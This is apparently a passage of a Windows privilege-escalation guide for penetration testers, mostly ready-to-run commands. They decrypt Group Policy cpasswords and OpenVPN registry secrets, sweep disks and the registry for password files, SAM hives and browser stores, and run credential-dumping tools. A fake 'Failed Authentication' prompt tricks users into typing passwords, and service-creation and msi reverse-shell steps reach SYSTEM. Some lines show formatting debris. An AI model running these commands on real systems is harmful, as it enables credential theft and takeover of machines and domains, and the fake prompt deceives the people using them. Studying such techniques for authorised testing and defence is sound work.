Before KB2928120 (see MS14-025), some Group Policy Preferences could be configured with a custom account. This feature was mainly used to deploy a custom local administrator account on a group of machines. There were two problems with this approach though. First, since the Group Policy Objects are stored as XML files in SYSVOL, any domain user can read them. The second problem is that the password set in these GPPs is AES256-encrypted with a default key, which is publicly documented. This means that any authenticated user could potentially access very sensitive data and elevate their privileges on their machine or even the domain. This function will check whether any locally cached GPP file contains a non-empty “cpassword” field. If so, it will decrypt it and return a custom PS object containing some information about the GPP along with the location of the file.
Search in ****C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:
To decrypt the cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Example of web.config with credentials:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
You can always ask the user to enter his credentials of even the credentials of a different user if you think he can know them (notice that asking the client directly for the credentials is really risky):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Known files that some time ago contained passwords in clear-text or Base64
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Search all of the proposed files:
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
You should also check the Bin to look for credentials inside it
To recover passwords saved by several programs you can use: http://www.nirsoft.net/password_recovery_tools.html
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.****
You should check for dbs where passwords from Chrome or Firefox are stored.
Also check for the history, bookmarks and favourites of the browsers so maybe some passwords are stored there.
Tools to extract passwords from browsers:
dpapi::chromecd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
MSF-Credentials Plugin is a msf plugin I have created this plugin to automatically execute every metasploit POST module that searches for credentials inside the victim.
Winpeas automatically search for all the files containing passwords mentioned in this page.
Lazagne is another great tool to extract password from a system.
The tool SessionGopher search for sessions, usernames and passwords of several tools that save this data in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
A pipe is a block of shared memory that processes can use for communication and data exchange.
Named Pipes is a Windows mechanism that enables two unrelated processes to exchange data between themselves, even if the processes are located on two different networks. It’s very similar to client/server architecture as notions such as a named pipe server and a named pipe client exist.
When a client writes on a pipe, the server that created the pipe can impersonate the client if it has SeImpersonate privileges. Then, if you can find a privileged process that is going to write on any pipe that you can impersonate, you could be able to escalate privileges impersonating that process after it writes inside your created pipe. You can read this to learn how to perform this attack.
****Read this to learn about Integrity Levels and this to learn what is UAC, then read how to bypass it.
If you are already running on a High Integrity process, the pass to SYSTEM can be easy just creating and executing a new service:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
From a High Integrity process you could try to enable the AlwaysInstallElevated registry entries and install a reverse shell using a .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.
You can find the code here.
If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to open almost any process (not protected processes) with the SeDebug privilege, copy the token of the process, and create an arbitrary process with that token.
Using this technique is usually selected any process running as SYSTEM with all the token privileges (yes, you can find SYSTEM processes without all the token privileges).
You can find an example of code executing the proposed technique here.
This technique is used by meterpreter to escalate in getsystem. The technique consists on creating a pipe and then create/abuse a service to write on that pipe. Then, the server that created the pipe using the SeImpersonate privilege will be able to impersonate the token of the pipe client (the service) obtaining SYSTEM privileges.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.
If you manages to hijack a dll being loaded by a process running as SYSTEM you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far more easy to achieve from a high integrity process as it will have write permissions on the folders used to load dlls.
You can learn more about Dll hijacking here.
{% embed url=“https://github.com/sailay1996/RpcSsImpersonator" %}
Read: https://github.com/itm4n/FullPowers****
****PowerSploit-Privesc(PowerUP) – Check for misconfigurations and sensitive files (check here). Detected.
JAWS ****– Check for some possible misconfigurations and gather info (check here).
privesc – Check for misconfigurations
SessionGopher ****– It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use **-Thorough** in local.
Invoke-WCMDump ****– Extracts crendentials from Credential Manager. Detected.
DomainPasswordSpray ****– Spray gathered passwords across domain
Inveigh ****– Inveigh is a PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool.
WindowsEnum – Basic privesc Windows enumeration
Sherlock **** – Search for known privesc vulnerabilities (DEPRECATED for Watson)WINspect
****– Local checks (Need Admin rights)
Watson ****– Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) (precompiled)
SeatBelt ****– Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) **(**precompiled**)**
LaZagne ****– Extracts credentials from lots of softwares (precompiled exe in github)
Beroot **** – Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10.– Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.Windows-Privesc-Check
****winPEASbat – Tool created based in this post (it does not need accesschk to work properly but it can use it).
Windows-Exploit-Suggester – Reads the output of systeminfo and recommends working exploits (local python)
Windows Exploit Suggester Next Generation – Reads the output of systeminfo andrecommends working exploits (local python)
multi/recon/local_exploit_suggestor
You have to compile the project using the correct version of .NET (see this). To see the installed version of .NET on the victim host you can do:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
http://www.fuzzysecurity.com/tutorials/16.html
http://www.greyhathacker.net/?p=738
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
https://github.com/sagishahar/lpeworkshop
https://www.youtube.com/watch?v=_8xJaaQlpBo
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
https://github.com/frizb/Windows-Privilege-Escalation
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
https://github.com/frizb/Windows-Privilege-Escalation
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus–detections